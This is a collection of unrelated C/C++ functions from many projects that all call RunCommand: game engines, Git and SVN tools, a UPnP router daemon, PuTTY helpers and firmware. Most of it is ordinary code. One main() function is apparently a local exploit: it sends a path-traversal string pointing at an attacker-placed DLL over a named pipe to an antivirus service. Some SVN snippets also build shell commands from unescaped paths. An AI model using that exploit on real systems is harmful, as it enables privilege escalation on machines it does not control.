static void SetDifficulty(int difficulty, int total_think_time_secs, int per_turn_think_time_secs) { // Disable background thinking. I don't know how to stop it in timely // fashion. RunCommand("ponder off"); // Don't let the computer resign until it's really desperate. RunCommand("resign 999999"); node_limit = UINT64_MAX; sec_limit = total_think_time_secs; sec_limit_up = per_turn_think_time_secs; if (difficulty == 0) { depth_limit = 1; } else if (difficulty == 1) { depth_limit = 2; } else if (difficulty == 2) { depth_limit = 4; } else if (difficulty == 3) { depth_limit = 6; } else { depth_limit = PLY_MAX; } LOG_DEBUG("Set difficulty: #node=%llu #depth=%d total=%ds, per_turn=%ds", node_limit, depth_limit, sec_limit, sec_limit_up); }
void ConsoleScreenInterface::Update () { if ( !waiting && timesync == -1 && queue.Size () > 0 ) { // Execute next command ConsoleCommand *cc = queue.GetData (0); UplinkAssert (cc); queue.RemoveData (0); RunCommand ( cc ); } else if ( !waiting && timesync > -1 ) { if ( EclGetAccurateTime () > timesync ) { timesync = -1; // Execute next command ConsoleCommand *cc = queue.GetData (0); UplinkAssert (cc); queue.RemoveData (0); RunCommand ( cc ); } } }
void CGitPropertyPage::PageProcOnCommand(WPARAM wParam) { if(HIWORD(wParam) != BN_CLICKED) return; switch (LOWORD(wParam)) { case IDC_SHOWLOG: { tstring gitCmd = _T(" /command:"); gitCmd += _T("log /path:\""); gitCmd += filenames.front().c_str(); gitCmd += _T("\""); RunCommand(gitCmd); } break; case IDC_SHOWSETTINGS: { CTGitPath path(filenames.front().c_str()); CString projectTopDir; if(!path.HasAdminDir(&projectTopDir)) return; tstring gitCmd = _T(" /command:"); gitCmd += _T("settings /path:\""); gitCmd += projectTopDir; gitCmd += _T("\""); RunCommand(gitCmd); } break; case IDC_ASSUMEVALID: case IDC_SKIPWORKTREE: case IDC_EXECUTABLE: case IDC_SYMLINK: BOOL executable = (BOOL)SendMessage(GetDlgItem(m_hwnd, IDC_EXECUTABLE), BM_GETCHECK, 0, 0); BOOL symlink = (BOOL)SendMessage(GetDlgItem(m_hwnd, IDC_SYMLINK), BM_GETCHECK, 0, 0); if (executable == BST_CHECKED) { EnableWindow(GetDlgItem(m_hwnd, IDC_SYMLINK), FALSE); SendMessage(GetDlgItem(m_hwnd, IDC_SYMLINK), BM_SETCHECK, BST_UNCHECKED, 0); } else EnableWindow(GetDlgItem(m_hwnd, IDC_SYMLINK), TRUE); if (symlink == BST_CHECKED) { EnableWindow(GetDlgItem(m_hwnd, IDC_EXECUTABLE), FALSE); SendMessage(GetDlgItem(m_hwnd, IDC_EXECUTABLE), BM_SETCHECK, BST_UNCHECKED, 0); } else EnableWindow(GetDlgItem(m_hwnd, IDC_EXECUTABLE), TRUE); m_bChanged = true; SendMessage(GetParent(m_hwnd), PSM_CHANGED, (WPARAM)m_hwnd, 0); break; } }
/** * LANHostConfigManagement:1 Action: SetIPRouter. * * Sets the default router. * This action only affects the default router, not all routers like defined in the spec. * * @param ca_event Upnp event struct. * @return Upnp error code. */ int SetIPRouter( struct Upnp_Action_Request *ca_event ) { char *parmList[] = { ROUTE_COMMAND, NULL, "default", "gw", NULL, NULL }; char addr[LINE_LEN]; char *new_router; int status; if ( ( new_router = GetFirstDocumentItem( ca_event->ActionRequest, "NewIPRouters" ) ) && ( GetNbSoapParameters( ca_event->ActionRequest ) == 1 ) ) { if ( CheckDHCPServerConfigurable( ca_event ) ) return ca_event->ErrCode; // if default gateway already exists, delete it if ( GetDefaultGateway( addr ) ) { // check that new gateway is different than current if ( strcmp( new_router, addr ) == 0 ) { addErrorData( ca_event, 701, "ValueAlreadySpecified" ); trace( 2, "SetIPRouter: new default gw '%s' is the same as current one '%s'", new_router, addr ); free( new_router ); return ca_event->ErrCode; } parmList[1] = "del"; parmList[4] = addr; RunCommand( ROUTE_COMMAND, parmList ); } // add new default gw parmList[1] = "add"; parmList[4] = new_router; status = RunCommand( ROUTE_COMMAND, parmList ); if ( !status ) ParseResult( ca_event, "" ); else { trace( 2, "SetIPRouter: Route command returned error: %d", status ); addErrorData( ca_event, 501, "Action Failed" ); } } else InvalidArgs( ca_event ); free( new_router ); return ca_event->ErrCode; }
int main(int argc, char* argv[]) { string entry = "build\\app.js"; string port = "3000"; if(argc > 1) entry = argv[1]; if(argc > 2) port = argv[2]; string exePath = GetExePath(); string npmCommand = "start node \"" + exePath + "\\" + entry + "\""; printf(("starting node in: " + entry + "\n").c_str()); RunCommand(npmCommand); printf(("starting firefox on localhost:" + port + "\n").c_str()); string browserCommand = "start firefox localhost:" + port; RunCommand(browserCommand); return 0; }
static int DoPMake( pmake_data *data ) { pmake_list *curr; int res; char cmd[256]; int rc; res = 0; for( curr = data->dir_list; curr != NULL; curr = curr->next ) { rc = chdir( curr->dir_name ); if( rc != 0 ) { res = rc; break; } if( data->display ) { fputs( "==== ", stdout ); puts( curr->dir_name ); } PMakeCommand( data, cmd ); rc = RunCommand( cmd ); if( rc != 0 ) { res = rc; if( data->ignore_err == 0 ) { break; } } } return( res ); }
Bool CCompiler::RunPreCompileStep( ) { CL_TRACE("Enter CCompiler::RunPreCompileStep"); //if( !CopyCppFile() ) //{ // CL_ERROR("failed to copy cpp files"); // return false; //} if( !CopySourceCode( m_sourceCodeToCompile ) ) { CL_ERROR("failed to copy source"); return false; } // delete output file to have a clean compile log CPath::DeleteFile( m_compilerOutputFile ); CString pathToSettupBat; if( !ThGetEnvVariable(ms_vsEnvToolsVar, pathToSettupBat) ) { CL_ERROR("failed to get path to settup bat from env variable:[%s]", ms_vsEnvToolsVar ); return false; } CString vsSettupCommand = "call \"" + pathToSettupBat + ms_vsSetupBat + "\""; if( !RunCommand(vsSettupCommand) ) { return false; } return true; }
QList<unsigned int> GetMatchingProcessIds(QString const& pattern) { QList<unsigned int> pids; QStringList args; #ifdef Q_OS_WIN32 QString cmd("/Windows/System32/tasklist.exe"); #else QString cmd("/bin/ps"); // The command,pid ordering is chosen to match the output of tasklist args << "-x" << "-c" << "-o" << "command,pid"; #endif QStringList processes(RunCommand(cmd, args)); QStringList tokens; for (int i = 0; i < processes.count(); ++i) { if (processes[i].contains(pattern, Qt::CaseInsensitive)) { qDebug() << "MATCHED!" << processes[i]; tokens = processes[i].split(QRegExp("\\s+"), QString::SkipEmptyParts); pids.append(tokens[1].toUInt()); } } return pids; }
int main(int argc, char ** argv) { WCHAR current_path[MAX_PATH]; GetModuleFileNameW(NULL, current_path, MAX_PATH); GetDirectory(current_path); wcscat(current_path, L"x.dll"); GetShortPathNameW(current_path, current_path, MAX_PATH); WCHAR * traversal = (WCHAR*)malloc(MAX_PATH*2); memset(traversal, 0, MAX_PATH*2); for(int j = 0; j < 10; j++) wcscat(traversal, L"\\.."); wcscat(traversal, current_path+2); //wprintf(L"TRYING: %s\n", traversal); DWORD dataLen = wcslen(traversal)*2+2+0x14; BYTE *data = (BYTE*)malloc(dataLen); memset(data, 0, dataLen); memcpy(data+0x11, traversal, wcslen(traversal)*2+2); HANDLE handle = GetNamedPipeHandle(); if(handle) { RunCommand(handle, 0x17, data, dataLen); } else { printf("Unable to get handler, may be the antivirus service is down!\n"); } free(data); free(traversal); }
/** * LANHostConfigManagement:1 Action: DeleteIPRouter. * * Deletes the default router. * This action only affects the default router, not all routers like defined in the spec. * * @param ca_event Upnp event struct. * @return Upnp error code. */ int DeleteIPRouter( struct Upnp_Action_Request *ca_event ) { char *parmList[] = { ROUTE_COMMAND, "del", "default", "gw", NULL, NULL }; int status; if ( ( parmList[4] = GetFirstDocumentItem( ca_event->ActionRequest, "NewIPRouters" ) ) && ( GetNbSoapParameters( ca_event->ActionRequest ) == 1 ) ) { if ( CheckDHCPServerConfigurable( ca_event ) ) return ca_event->ErrCode; // run route del command status = RunCommand( ROUTE_COMMAND, parmList ); if ( !status ) ParseResult( ca_event, "" ); else { trace( 2, "DeleteIPRouter: Route command returned error: %d", status ); addErrorData( ca_event, 702, "ValueSpecifiedIsInvalid" ); } } else InvalidArgs( ca_event ); free( parmList[4] ); return ca_event->ErrCode; }
Bool CCompiler::RunCompileStep ( ) { CL_TRACE("Enter CCompiler::RunCompileStep"); // remove the old .exe if exists; CPath::DeleteFile( GetCompiledExeFilePath() ); // run bat file to setup visual studio env settings; CString outputFileCommandLineParameter = (m_compilerOutputFile.GetLenght()==0)? "" : (" /Out " + StringUtils::Quote(m_compilerOutputFile) ); CString command = CString("devenv.exe ") + StringUtils::Quote( GetSolutionFile() ) + " /Rebuild \"Release|Win32\"" + outputFileCommandLineParameter; Bool rez = true; CString currDir; CPath::GetCurrPath(currDir); CPath::SetCurrPath( GetDevenvPath() ); if( !RunCommand(command) ) { CPath::SetCurrPath( currDir ); return false; } rez &= CPath::SetCurrPath( currDir ); return true; }
char * Generate_UUID( NitsCallSite cs) { char * uuidString; uuidString = (char*)RunCommand("cat /proc/sys/kernel/random/uuid | awk '{print toupper($0)}' | tr -d \"\n\""); return uuidString; }
PerforceDepotView::Streams PerforceDepotView::GetStreams() { std::string cmd = "streams"; auto results = RunCommand(cmd); if (!results || results->hasErrors()) return Streams(); std::string output = results->output(); if (output.empty()) return Streams(); size_t start = 0; std::string token = "\n\n"; auto end = output.find(token); Streams streams; while (start != output.length() && end != std::string::npos) { auto chunk = output.substr(start, end - start); if (!chunk.empty()) { auto info = ParseResults(chunk); if (info.find("Stream") != info.end()) { streams[info["Stream"]] = (std::move(info)); } } start = end + token.size(); end = output.find("\n\n", start); } return streams; }
void RunPuttyEd( HWND hwnd ) { char buffer[1024]="", shortname[1024]="" ; if( GetModuleFileName( NULL, (LPTSTR)buffer, 1023 ) ) if( GetShortPathName( buffer, shortname, 1023 ) ) { strcat( shortname, " -ed" ); RunCommand( hwnd, shortname ) ; } }
/** Run the commands in a command list. */ void RunCommands(CommandNode *commands) { CommandNode *cp; for(cp = commands; cp; cp = cp->next) { RunCommand(cp->command); } }
status_t SVNSourceControl::GetChangeStatus(BString &out) { BString command; command << "svn status --non-interactive '" << GetWorkingDirectory() << "'"; RunCommand(command, out); return B_OK; }
void Console::Input(Player* player) { if (_player == nullptr) _player = player; _level = player->getCurrentLevel(); RunCommand(Log::Input()); }
IResultPtr PerforceDepotView::deleteEmptyChangeList(ChangeListId changeListId) { if (changeListId == kDefaultChangelist) return IResultPtr(new PerforceResult("", "Invalid changelist")); std::stringstream command; command << "change -d " << changeListId; return RunCommand(command.str()); }
void RunPuttyEd( HWND hwnd, char * filename ) { char buffer[1024]="", shortname[1024]="" ; if( GetModuleFileName( NULL, (LPTSTR)buffer, 1023 ) ) if( GetShortPathName( buffer, shortname, 1023 ) ) { strcat( shortname, " -ed" ); if( filename!=NULL ) if( strlen(filename)>0 ) { strcat( shortname, "b " ) ; strcat( shortname, filename ) ; } logevent(NULL, shortname ) ; RunCommand( hwnd, shortname ) ; } }
status_t SVNSourceControl::CreateRepository(const char *path) { // The SourceControl class runs under the DSCM idea of the local directory // being a repository. Seeing how SVN doesn't allow for this, we create a // repository elsewhere on the hard drive, check it out to the path we were // given, and add the files to the repository. Checking in is not part of // this call, however. DPath workingDir(path); DPath repoPath(sRepoPath); repoPath << workingDir.GetFileName(); BDirectory dir(sRepoPath.String()); if (dir.InitCheck() != B_OK) create_directory(sRepoPath.String(), 0777); BString command("svnadmin create "); command << "'" << repoPath.GetFullPath() << "'"; BString out; RunCommand(command, out); BString repoURL = "file://"; repoURL << repoPath.GetFullPath(); SetURL(repoURL.String()); SetWorkingDirectory(path); CloneRepository(repoURL.String(), path); BPath svnpath(path); svnpath.Append(".svn"); if (!BEntry(svnpath.Path()).Exists()) return B_ERROR; command = ""; command << "cd '" << path << "'; " << "svn add --non-interactive *"; RunCommand(command, out); return B_OK; }
/** * LANHostConfigManagement:1 Action: SetAddressRange. * * Sets the address range dhcp server will give out. * * @todo Maybe we should use the 3 first parts of the ip address to set the ip address of this router? * Now they are just ignored. * * @param ca_event Upnp event struct. * @return Upnp error code. */ int SetAddressRange( struct Upnp_Action_Request *ca_event ) { char *parmList[] = { g_vars.uciCmd, "set", NULL, NULL }; char *start_addr, *limit_addr; char command[MAX_IP_LAST_PART+15]; char start[MAX_IP_LAST_PART], limit[MAX_IP_LAST_PART]; start_addr = GetFirstDocumentItem( ca_event->ActionRequest, "NewMinAddress" ); limit_addr = GetFirstDocumentItem( ca_event->ActionRequest, "NewMaxAddress" ); if ( start_addr && limit_addr && ( GetNbSoapParameters( ca_event->ActionRequest ) == 2 ) ) { if ( CheckDHCPServerConfigurable( ca_event ) ) return ca_event->ErrCode; // parse last part of both ip addresses if ( ParseAddressRange( ca_event, start, limit, start_addr, limit_addr ) ) return ca_event->ErrCode; snprintf( command, MAX_IP_LAST_PART+15, "dhcp.lan.start=%s", start ); parmList[2] = command; RunCommand( g_vars.uciCmd, parmList ); snprintf( command, MAX_IP_LAST_PART+15, "dhcp.lan.limit=%s", limit ); parmList[2] = command; RunCommand( g_vars.uciCmd, parmList ); UciCommit(); DnsmasqRestart(); } else InvalidArgs( ca_event ); if ( ca_event->ErrCode == 0 ) ParseResult( ca_event, "" ); free( start_addr ); free( limit_addr ); return ca_event->ErrCode; }
void CommandsMgr::CommandQueueProssesor() { InProsses = true; for (std::map<std::string, CHandler>::iterator itr = commandQueue.begin(); itr != commandQueue.end(); ++itr) RunCommand(itr->second.client, itr->first, itr->second.console); commandQueue.clear(); InProsses = false; }
/////////////////////////////////////////////////////////////////////////////// /// \brief process the buffer data and extract the commands /// /// \return TRUE success. FALSE no error /// /// \todo update the document return state value. need to implement /////////////////////////////////////////////////////////////////////////////// int_fast8_t Terminal_Process(void) { uint8_t SerialTempData = 0; // hold the new byte from the serial fifo int_fast8_t Result = FALSE; Result = SerialPort2.GetByte(&SerialTempData); if ( TRUE != Result ) { return Result; } // echo the user command SerialPort2.SendByte(SerialTempData); if ('\r' == SerialTempData) { if (NumberOfByteReceived) { /// \todo call the process data if ( TRUE == ProcessData(&Buffer[0], NumberOfByteReceived, &ParameterList) ) { if( TRUE == RunCommand() ) { Result = TRUE; } } } else { Result = FALSE; } } else if ( (SerialTempData >= '0' && SerialTempData <= '9') || (SerialTempData >= 'A' && SerialTempData <= 'Z') || (SerialTempData >= 'a' && SerialTempData <= 'z') || ' ' == SerialTempData || '.' == SerialTempData) { if ( NumberOfByteReceived < TERMINAL_BUFFER_SIZE ) { Buffer[NumberOfByteReceived] = SerialTempData; NumberOfByteReceived++; return FALSE; } } // reset buffer by reseting the counter NumberOfByteReceived = 0; return Result; }
void RunPuTTY( HWND hwnd, char * param ) { char buffer[4096]="",shortname[1024]="" ; ; if( GetModuleFileName( NULL, (LPTSTR)buffer, 1023 ) ) if( GetShortPathName( buffer, shortname, 1023 ) ) { if( strlen(param) > 0 ) sprintf( buffer, "%s %s", shortname, param ) ; else strcpy( buffer, shortname ) ; RunCommand( hwnd, buffer ) ; } }
/** Start swallow processing. */ void StartupSwallow() { SwallowNode *np; for(np = swallowNodes; np; np = np->next) { if(np->command) { RunCommand(np->command); } } }
void RunCommandFromBufferText(std::string& bufferText) { AdjustBufferTextForExecution(bufferText); if (bufferText != "") { char* cStringBufferText = StringToWritableCStr(bufferText); char* currentValue; char* tokenInBuffer; currentValue = strtok_s(cStringBufferText, " ", &tokenInBuffer); //ConsoleGenericMessageBox(currentValue, "loading token, current value = "); std::string commandName = currentValue; currentValue = strtok_s(NULL, "\0", &tokenInBuffer); printf("Running Command: %s Args: %s\n", commandName.c_str(), currentValue); if (currentValue != NULL) { RunCommand(commandName, new ConsoleArguments(currentValue)); } else { RunCommand(commandName, NULL); } } }
/** * Starts dhcrelay daemon. Server parameter is taken from conf-file. */ void DhcrelayStart() { if ( g_vars.dhcrelayServer == NULL ) { // can't start dhcrelay without server trace( 1, "DhcrelayStart: Can't start dhcrelay without server" ); return; } char *args[] = { g_vars.dhcrelayCmd, g_vars.dhcrelayServer, NULL }; RunCommand( g_vars.dhcrelayCmd, args ); }
status_t SVNSourceControl::CloneRepository(const char *url, const char *dest) { BString command("svn co --non-interactive "); command << "'" << url << "' '" << dest << "'"; BString out; RunCommand(command,out); SetURL(url); return B_OK; }
virtual void OnModCommand(const CString& sLine) { CString sCommand = sLine.Token(0); if (sCommand.Equals("cd")) { CString sArg = sLine.Token(1, true); CString sPath = CDir::ChangeDir(m_sPath, (sArg.empty() ? CString(CZNC::Get().GetHomePath()) : sArg), CZNC::Get().GetHomePath()); CFile Dir(sPath); if (Dir.IsDir()) { m_sPath = sPath; } else if (Dir.Exists()) { PutShell("cd: not a directory [" + sPath + "]"); } else { PutShell("cd: no such directory [" + sPath + "]"); } PutShell("znc$"); } else if (sCommand.Equals("SEND")) { CString sToNick = sLine.Token(1); CString sFile = sLine.Token(2); if ((sToNick.empty()) || (sFile.empty())) { PutShell("usage: Send <nick> <file>"); } else { sFile = CDir::ChangeDir(m_sPath, sFile, CZNC::Get().GetHomePath()); if (!CFile::Exists(sFile)) { PutShell("get: no such file [" + sFile + "]"); } else if (!CFile::IsReg(sFile)) { PutShell("get: not a file [" + sFile + "]"); } else { m_pUser->SendFile(sToNick, sFile, GetModName()); } } } else if (sCommand.Equals("GET")) { CString sFile = sLine.Token(1); if (sFile.empty()) { PutShell("usage: Get <file>"); } else { sFile = CDir::ChangeDir(m_sPath, sFile, CZNC::Get().GetHomePath()); if (!CFile::Exists(sFile)) { PutShell("get: no such file [" + sFile + "]"); } else if (!CFile::IsReg(sFile)) { PutShell("get: not a file [" + sFile + "]"); } else { m_pUser->SendFile(m_pUser->GetCurNick(), sFile, GetModName()); } } } else { RunCommand(sLine); } }
IResultPtr PerforceDepotView::reopen(const PathList& filePaths, ChangeListId changeListId) { std::stringstream command; if (changeListId != kDefaultChangelist) { command << "reopen -c " << changeListId << " " << EscapePaths(filePaths); } else { command << "reopen -c default " << EscapePaths(filePaths); } return RunCommand(command.str()); }